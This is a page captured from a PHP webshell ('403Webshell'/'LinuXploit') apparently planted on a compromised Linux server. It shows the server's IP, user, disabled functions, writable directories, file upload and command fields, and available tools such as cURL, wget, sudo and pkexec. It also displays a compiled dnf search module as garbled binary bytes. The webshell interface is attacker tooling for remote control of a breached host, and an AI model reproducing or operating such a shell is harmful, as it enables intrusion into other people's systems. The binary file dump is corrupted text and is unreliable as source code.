403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.12/site-packages/dnf/cli/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.12/site-packages/dnf/cli/commands/__pycache__/search.cpython-312.pyc
�

�(f�����ddlmZddlmZddlmZddlZddlmZddlmZddl	m
Z
mZmZddl	Z
ddlZ
ddlZ
ddlZddlZej$d�ZGd	�d
ej(�Zy)�)�absolute_import)�print_function)�unicode_literalsN)�commands)�OptionParser)�ucd�_�C_�dnfc�R�eZdZdZdZed�Zed��Zd�Z	d�Z
d�Zd�Zd	�Z
y
)�
SearchCommandzTA class containing methods needed by the cli to execute the
    search command.
    )�search�sez+search package details for the given stringc��|jddtd���|jddtd�dgdtjtd	��
�y)Nz--all�
store_truez'search also package description and URL)�action�help�query_string�+�KEYWORD�allzKeyword to search for)�nargs�metavar�choices�defaultrr)�add_argumentr	r�PkgNarrowCallback)�parsers �</usr/lib/python3.12/site-packages/dnf/cli/commands/search.py�
set_argparserzSearchCommand.set_argparser0sY�����G�L�!"�#L�!M�	�	O����N�#�q��|�%*�G�T�#/�#A�#A�!"�#:�!;�	�	=�c	�B����tjdtdd�fdtdd�fdtdd�fdtd	�ff���fd
����fd�}tj
j
�}|D](}�j|d|��j|d|��*�jjr.|D](}�j|d|��j|d|��*nLt|�}t|j��}|D]#}t|j|��|k7s�!||=�%d}d}	d
}
d
}d}�jjj sP�jj"j%�j'|j���j)�}t+�}
|j-d|��D�]&}�jjj sD|j.|j0z|
vr�@|
j3|j.|j0z�||j5|�k7r|j5|�}d}|	|j|�k7r|j|�}	d}|
|j7|�|	k(k7r|j7|�|	k(}
d}|r||
||	�d
}�jj8j;||j7|�|���)t|�dk(rt<j?td��yy)z0Search for simple text tags in a package object.�name�long�Name�summary�Summary�description�Description�url�URLc�"��	�|S#|cYSxYw)N�)�attr�	TRANS_TBLs �r�_translate_attrz.SearchCommand._search.<locals>._translate_attrCs���
� ���&��
���s��c�&��t�|�}td�j|�}|rtd�|z}ntd�|z}�jjj|dj|�z�}t
t|��y)Nz & z%s Exactly Matched: %%sz%s Matched: %%sz, )�mapr	�join�base�output�
fmtSection�printr)	�exact_match�attrs�keys�trans_attrs�trans_attrs_str�section_text�	formattedr0�selfs	       ��r�_print_section_headerz4SearchCommand._search.<locals>._print_section_headerIs{����o�u�5�K���h�m�m�K�8�O�� !�!:�;�o�M�� !�!2�3�o�E���	�	�(�(�3�3�L�4�9�9�T�?�4R�S�I��#�i�.�!r!NF)�pkgT)�reverse�limit_torzNo matches found.) �collections�OrderedDictr
r	r�
match_counter�MatchCounter�_search_counted�optsr�len�listr:�matched_needlesr4�conf�showdupesfromrepos�sack�query�filterm�latest�set�sortedr#�arch�add�matched_keys�matched_haystacksr5�
matchcallback�logger�info)r?�argsr@�counter�arg�needles�pkgsrA�
used_attrsrLr8�print_section_header�limit�seenr/r0s`             @@r�_searchzSearchCommand._search9s���� �+�+�
�R���'�(�
��6�9�-�.�
�B�v�}�5�6�
�A�e�H��	-
��	�	�
	"��#�#�0�0�2���C�� � ��&�#�6�� � ��)�S�9���9�9�=�=����$�$�W�m�S�A��$�$�W�e�S�9���$�i�G������'�D����w�.�.�s�3�4��?������
�����$�����y�y�~�~�0�0��I�I�N�N�(�(�*�2�2�w�|�|�~�2�F�M�M�O�E��u���>�>�$��>�?�C��9�9�>�>�4�4��8�8�c�h�h�&�$�.��������C�H�H�,�-��W�1�1�#�6�6�$�1�1�#�6�
�'+�$��'�"9�"9�#�">�>�")�"9�"9�#�">��'+�$��w�8�8��=��P�Q�%�7�7��<��O��'+�$�#�%�k�:��O�',�$��I�I���*�*�3��0I�0I�#�0N�PT�U�%@�(�w�<�1���K�K��-�.�/�r!c�6�d|z|i}tjj|�rd|z|i}|jjj�jtjfi|��}|j�D]}|j|||��|S)Nz
%s__substrz%s__glob)r�util�is_glob_patternr4rOrPrQ�hawkey�ICASE�runrV)r?r]r.�needle�fdict�qrAs       rrHzSearchCommand._search_counted�s�����$�v�.���8�8�#�#�F�+��$�&��0�E�*�D�I�I�N�N� � �"�*�*�6�<�<�A�5�A���5�5�7�C��K�K��T�6�*���r!c��|jjs:|jjtj
tj��yy)N)�stdout�stderr)rI�quiet�cli�redirect_logger�logging�WARNING�INFO�r?s r�
pre_configurezSearchCommand.pre_configure�s1���y�y����H�H�$�$�G�O�O�G�L�L�$�Q�r!c�4�|jjs|jj�|jj}d|_d|_d|_|jjxs|jj|j_y)NTF)
rIrrrs�redirect_repo_progress�demands�available_repos�fresh_metadata�sack_activationr�query_string_action)r?r|s  r�	configurezSearchCommand.configure�sf���y�y����H�H�+�+�-��(�(�"�"��"&���!&���"&����	�	�
�
�F����)F�)F��	�	�
r!c��tjtd��|j|jj
�S)NzSearching Packages: )rZ�debugr	rerIrrxs rrkzSearchCommand.run�s-�����Q�-�.�/��|�|�D�I�I�2�2�3�3r!N)�__name__�
__module__�__qualname__�__doc__�aliasesr	r&�staticmethodr rerHryr�rkr-r!rr
r
(sH����G��=�>�G��=��=�M0�^�R�G�4r!r
)�
__future__rrrrD�dnf.clir�dnf.cli.option_parserr�dnf.i18nrr	r
r�dnf.match_counter�dnf.utilriru�	getLoggerrZ�Commandr
r-r!r�<module>r�sT��*'�%�'���.������
��	��	�	�5�	!��x4�H�$�$�x4r!

Youez - 2016 - github.com/yon3zu
LinuXploit